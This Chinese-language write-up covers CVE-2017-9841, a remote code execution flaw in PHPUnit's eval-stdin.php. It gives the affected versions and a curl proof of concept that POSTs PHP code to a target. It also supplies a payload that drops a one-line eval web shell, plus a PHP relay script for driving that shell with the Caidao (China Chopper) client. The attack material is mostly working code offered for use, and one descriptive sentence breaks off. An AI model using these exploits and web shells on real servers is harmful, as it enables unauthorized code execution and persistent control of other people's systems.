(CVE-2017-9841)PHPunit 远程代码执行漏洞¶
一、漏洞简介¶
TYPO3是瑞士TYPO3协会维护的一套免费开源的内容管理系统。PHPUnit是其中的一个基于PHP的测试框架。PHPUnit4.8.28之前的版本和5.6.3之前的5.x版本中的Util/PHP/eval-stdin.php文件存在安全漏洞。远程攻击者可通过发送以'
二、漏洞影响¶
PHPUnit 4.8.19-4.8.27PHPUnit 5.0.10-5.6.2
三、复现过程¶
$ curl --data "<?php echo(pi());" http://www.0-sec.org:8888/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
总体来说就是向**vendor/phpunit/src/Util/PHP/eval-stdin.php**发送POST请求执行php代码。也可以直接写入一句话**\<?=file_put_contents(\"1.php\",
\'\<?=eval($_REQUEST[1]);?>\');**
poc¶
因为直接是RCE,如果当前目录可写,直接POST这样的body:
菜刀中转脚本
使用20160622版本的菜刀,可以直接连目标,可以执行命令,但是不可以上传修改文件。
<?php $webshell=""; $data = file_get_contents("php://input"); $data=substr($data,1); $data=str_replace("%2F",'/',$data); $data=str_replace("%2B",'+',$data); $data=str_replace("%3D",'=',$data); $data= "<?php ". $data; echo $data; $opts = array ( 'http' => array ( 'method' => 'POST', 'header'=> "Content-type: application/x-www-form-urlencoded\r\n" . "Content-Length: " . strlen($data) . "\r\n", 'content' => $data) ); $context = stream_context_create($opts); $html = @file_get_contents($webshell, false, $context); echo $html; ?>